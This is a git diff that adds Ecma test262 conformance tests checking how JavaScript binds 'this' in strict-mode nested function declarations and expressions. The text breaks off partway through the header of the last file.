diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-40-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-40-s.js
new file mode 100644
index 000000000..b90817f63
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-40-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-40-s.js
+ * @description Strict Mode - checking 'this' (FunctionExpression defined within a FunctionExpression with a strict directive prologue)
+ * @onlyStrict
+ */
+
+function testcase() {
+var f1 = function () {
+ "use strict";
+ var f = function () {
+ return typeof this;
+ }
+ return (f()==="undefined") && ((typeof this)==="undefined");
+}
+return f1();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-40gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-40gs.js
new file mode 100644
index 000000000..2d8fbf0ba
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-40gs.js
@@ -0,0 +1,21 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-40gs.js
+ * @description Strict - checking 'this' from a global scope (FunctionExpression defined within a FunctionExpression with a strict directive prologue)
+ * @onlyStrict
+ */
+
+var f1 = function () {
+ "use strict";
+ var f = function () {
+ return typeof this;
+ }
+ return (f()==="undefined") && ((typeof this)==="undefined");
+}
+if (! f1()) {
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-41-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-41-s.js
new file mode 100644
index 000000000..48495e392
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-41-s.js
@@ -0,0 +1,21 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-41-s.js
+ * @description Strict Mode - checking 'this' (Anonymous FunctionExpression defined within a FunctionExpression with a strict directive prologue)
+ * @onlyStrict
+ */
+
+function testcase() {
+var f1 = function () {
+ "use strict";
+ return ((function () {
+ return typeof this;
+ })()==="undefined") && ((typeof this)==="undefined");
+}
+return f1();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-41gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-41gs.js
new file mode 100644
index 000000000..43cba61c8
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-41gs.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-41gs.js
+ * @description Strict - checking 'this' from a global scope (Anonymous FunctionExpression defined within a FunctionExpression with a strict directive prologue)
+ * @onlyStrict
+ */
+
+var f1 = function () {
+ "use strict";
+ return ((function () {
+ return typeof this;
+ })()==="undefined") && ((typeof this)==="undefined");
+}
+if (! f1()) {
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-42-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-42-s.js
new file mode 100644
index 000000000..c4f705857
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-42-s.js
@@ -0,0 +1,21 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-42-s.js
+ * @description Strict Mode - checking 'this' (FunctionDeclaration defined within an Anonymous FunctionExpression with a strict directive prologue)
+ * @onlyStrict
+ */
+
+function testcase() {
+return (function () {
+ "use strict";
+ function f() {
+ return typeof this;
+ }
+ return (f()==="undefined") && ((typeof this)==="undefined");
+})();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-42gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-42gs.js
new file mode 100644
index 000000000..b1802bf16
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-42gs.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-42gs.js
+ * @description Strict - checking 'this' from a global scope (FunctionDeclaration defined within an Anonymous FunctionExpression with a strict directive prologue)
+ * @onlyStrict
+ */
+
+if (! ((function () {
+ "use strict";
+ function f() {
+ return typeof this;
+ }
+ return (f()==="undefined") && ((typeof this)==="undefined");
+})())) {
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-43-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-43-s.js
new file mode 100644
index 000000000..6575e56b9
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-43-s.js
@@ -0,0 +1,21 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-43-s.js
+ * @description Strict Mode - checking 'this' (FunctionExpression defined within an Anonymous FunctionExpression with a strict directive prologue)
+ * @onlyStrict
+ */
+
+function testcase() {
+return (function () {
+ "use strict";
+ var f = function () {
+ return typeof this;
+ }
+ return (f()==="undefined") && ((typeof this)==="undefined");
+})();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-43gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-43gs.js
new file mode 100644
index 000000000..0da4b7871
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-43gs.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-43gs.js
+ * @description Strict - checking 'this' from a global scope (FunctionExpression defined within an Anonymous FunctionExpression with a strict directive prologue)
+ * @onlyStrict
+ */
+
+if (! ((function () {
+ "use strict";
+ var f = function () {
+ return typeof this;
+ }
+ return (f()==="undefined") && ((typeof this)==="undefined");
+})())) {
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-44-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-44-s.js
new file mode 100644
index 000000000..b7ac11d8d
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-44-s.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-44-s.js
+ * @description Strict Mode - checking 'this' (Anonymous FunctionExpression defined within an Anonymous FunctionExpression with a strict directive prologue)
+ * @onlyStrict
+ */
+
+function testcase() {
+return (function () {
+ "use strict";
+ return ((function () {
+ return typeof this;
+ })()==="undefined") && ((typeof this)==="undefined");
+})();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-44gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-44gs.js
new file mode 100644
index 000000000..2300e4acb
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-44gs.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-44gs.js
+ * @description Strict - checking 'this' from a global scope (Anonymous FunctionExpression defined within an Anonymous FunctionExpression with a strict directive prologue)
+ * @onlyStrict
+ */
+
+if (! ((function () {
+ "use strict";
+ return ((function () {
+ return typeof this;
+ })()==="undefined") && ((typeof this)==="undefined");
+})())) {
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-45-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-45-s.js
new file mode 100644
index 000000000..e23f9fef0
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-45-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-45-s.js
+ * @description Strict Mode - checking 'this' (FunctionDeclaration with a strict directive prologue defined within a FunctionDeclaration)
+ * @noStrict
+ */
+
+function testcase() {
+function f1() {
+ function f() {
+ "use strict";
+ return typeof this;
+ }
+ return (f()==="undefined") && (this===fnGlobalObject());
+}
+return f1();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-45gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-45gs.js
new file mode 100644
index 000000000..ce99d6574
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-45gs.js
@@ -0,0 +1,21 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-45gs.js
+ * @description Strict - checking 'this' from a global scope (FunctionDeclaration with a strict directive prologue defined within a FunctionDeclaration)
+ * @noStrict
+ */
+
+function f1() {
+ function f() {
+ "use strict";
+ return typeof this;
+ }
+ return (f()==="undefined") && (this===fnGlobalObject());
+}
+if (! f1()) {
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-46-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-46-s.js
new file mode 100644
index 000000000..5945b2b21
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-46-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-46-s.js
+ * @description Strict Mode - checking 'this' (FunctionExpression with a strict directive prologue defined within a FunctionDeclaration)
+ * @noStrict
+ */
+
+function testcase() {
+function f1() {
+ var f = function () {
+ "use strict";
+ return typeof this;
+ }
+ return (f()==="undefined") && (this===fnGlobalObject());
+}
+return f1();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-46gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-46gs.js
new file mode 100644
index 000000000..3d0ddd895
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-46gs.js
@@ -0,0 +1,21 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-46gs.js
+ * @description Strict - checking 'this' from a global scope (FunctionExpression with a strict directive prologue defined within a FunctionDeclaration)
+ * @noStrict
+ */
+
+function f1() {
+ var f = function () {
+ "use strict";
+ return typeof this;
+ }
+ return (f()==="undefined") && (this===fnGlobalObject());
+}
+if (! f1()) {
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-47-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-47-s.js
new file mode 100644
index 000000000..6a5fe9d40
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-47-s.js
@@ -0,0 +1,21 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-47-s.js
+ * @description Strict Mode - checking 'this' (Anonymous FunctionExpression with a strict directive prologue defined within a FunctionDeclaration)
+ * @noStrict
+ */
+
+function testcase() {
+function f1() {
+ return ((function () {
+ "use strict";
+ return typeof this;
+ })()==="undefined") && (this===fnGlobalObject());
+}
+return f1();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-47gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-47gs.js
new file mode 100644
index 000000000..78884f8c6
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-47gs.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-47gs.js
+ * @description Strict - checking 'this' from a global scope (Anonymous FunctionExpression with a strict directive prologue defined within a FunctionDeclaration)
+ * @noStrict
+ */
+
+function f1() {
+ return ((function () {
+ "use strict";
+ return typeof this;
+ })()==="undefined") && (this===fnGlobalObject());
+}
+if (! f1()) {
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-48-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-48-s.js
new file mode 100644
index 000000000..3c4d49af4
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-48-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-48-s.js
+ * @description Strict Mode - checking 'this' (FunctionDeclaration with a strict directive prologue defined within a FunctionExpression)
+ * @noStrict
+ */
+
+function testcase() {
+var f1 = function () {
+ function f() {
+ "use strict";
+ return typeof this;
+ }
+ return (f()==="undefined") && (this===fnGlobalObject());
+}
+return f1();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-48gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-48gs.js
new file mode 100644
index 000000000..b6d619176
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-48gs.js
@@ -0,0 +1,21 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-48gs.js
+ * @description Strict - checking 'this' from a global scope (FunctionDeclaration with a strict directive prologue defined within a FunctionExpression)
+ * @noStrict
+ */
+
+var f1 = function () {
+ function f() {
+ "use strict";
+ return typeof this;
+ }
+ return (f()==="undefined") && (this===fnGlobalObject());
+}
+if (! f1()) {
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-49-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-49-s.js
new file mode 100644
index 000000000..3ae616eaa
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-49-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-49-s.js
+ * @description Strict Mode - checking 'this' (FunctionExpression with a strict directive prologue defined within a FunctionExpression)
+ * @noStrict
+ */
+
+function testcase() {
+var f1 = function () {
+ var f = function () {
+ "use strict";
+ return typeof this;
+ }
+ return (f()==="undefined") && (this===fnGlobalObject());
+}
+return f1();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-49gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-49gs.js
new file mode 100644
index 000000000..d6aee3a91
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-49gs.js
@@ -0,0 +1,21 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-49gs.js
+ * @description Strict - checking 'this' from a global scope (FunctionExpression with a strict directive prologue defined within a FunctionExpression)
+ * @noStrict
+ */
+
+var f1 = function () {
+ var f = function () {
+ "use strict";
+ return typeof this;
+ }
+ return (f()==="undefined") && (this===fnGlobalObject());
+}
+if (! f1()) {
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-5-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-5-s.js
new file mode 100644
index 000000000..5d64cea6b
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-5-s.js
@@ -0,0 +1,32 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-5-s.js
+ * @description this is not coerced to an object in strict mode (function)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+
+ function foo()
+ {
+ 'use strict';
+ return typeof(this);
+ }
+
+ function bar()
+ {
+ return typeof(this);
+ }
+
+ function foobar()
+ {
+ }
+
+ return foo.call(foobar) === 'function' && bar.call(foobar) === 'function';
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-50-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-50-s.js
new file mode 100644
index 000000000..ad273ecb1
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-50-s.js
@@ -0,0 +1,21 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-50-s.js
+ * @description Strict Mode - checking 'this' (Anonymous FunctionExpression with a strict directive prologue defined within a FunctionExpression)
+ * @noStrict
+ */
+
+function testcase() {
+var f1 = function () {
+ return ((function () {
+ "use strict";
+ return typeof this;
+ })()==="undefined") && (this===fnGlobalObject());
+}
+return f1();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-50gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-50gs.js
new file mode 100644
index 000000000..21cd879ef
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-50gs.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-50gs.js
+ * @description Strict - checking 'this' from a global scope (Anonymous FunctionExpression with a strict directive prologue defined within a FunctionExpression)
+ * @noStrict
+ */
+
+var f1 = function () {
+ return ((function () {
+ "use strict";
+ return typeof this;
+ })()==="undefined") && (this===fnGlobalObject());
+}
+if (! f1()) {
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-51-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-51-s.js
new file mode 100644
index 000000000..e8935366e
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-51-s.js
@@ -0,0 +1,21 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-51-s.js
+ * @description Strict Mode - checking 'this' (FunctionDeclaration with a strict directive prologue defined within an Anonymous FunctionExpression)
+ * @noStrict
+ */
+
+function testcase() {
+return (function () {
+ function f() {
+ "use strict";
+ return typeof this;
+ }
+ return (f()==="undefined") && (this===fnGlobalObject());
+})();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-51gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-51gs.js
new file mode 100644
index 000000000..52f8e35a6
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-51gs.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-51gs.js
+ * @description Strict - checking 'this' from a global scope (FunctionDeclaration with a strict directive prologue defined within an Anonymous FunctionExpression)
+ * @noStrict
+ */
+
+if (! ((function () {
+ function f() {
+ "use strict";
+ return typeof this;
+ }
+ return (f()==="undefined") && (this===fnGlobalObject());
+})())) {
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-52-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-52-s.js
new file mode 100644
index 000000000..b2c3a0082
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-52-s.js
@@ -0,0 +1,21 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-52-s.js
+ * @description Strict Mode - checking 'this' (FunctionExpression with a strict directive prologue defined within an Anonymous FunctionExpression)
+ * @noStrict
+ */
+
+function testcase() {
+return (function () {
+ var f = function () {
+ "use strict";
+ return typeof this;
+ }
+ return (f()==="undefined") && (this===fnGlobalObject());
+})();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-52gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-52gs.js
new file mode 100644
index 000000000..cc617750d
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-52gs.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-52gs.js
+ * @description Strict - checking 'this' from a global scope (FunctionExpression with a strict directive prologue defined within an Anonymous FunctionExpression)
+ * @noStrict
+ */
+
+if (! ((function () {
+ var f = function () {
+ "use strict";
+ return typeof this;
+ }
+ return (f()==="undefined") && (this===fnGlobalObject());
+})())) {
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-53-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-53-s.js
new file mode 100644
index 000000000..2324bf44f
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-53-s.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-53-s.js
+ * @description Strict Mode - checking 'this' (Anonymous FunctionExpression with a strict directive prologue defined within an Anonymous FunctionExpression)
+ * @noStrict
+ */
+
+function testcase() {
+return (function () {
+ return ((function () {
+ "use strict";
+ return typeof this;
+ })()==="undefined") && (this===fnGlobalObject());
+})();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-53gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-53gs.js
new file mode 100644
index 000000000..0c6581f2e
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-53gs.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
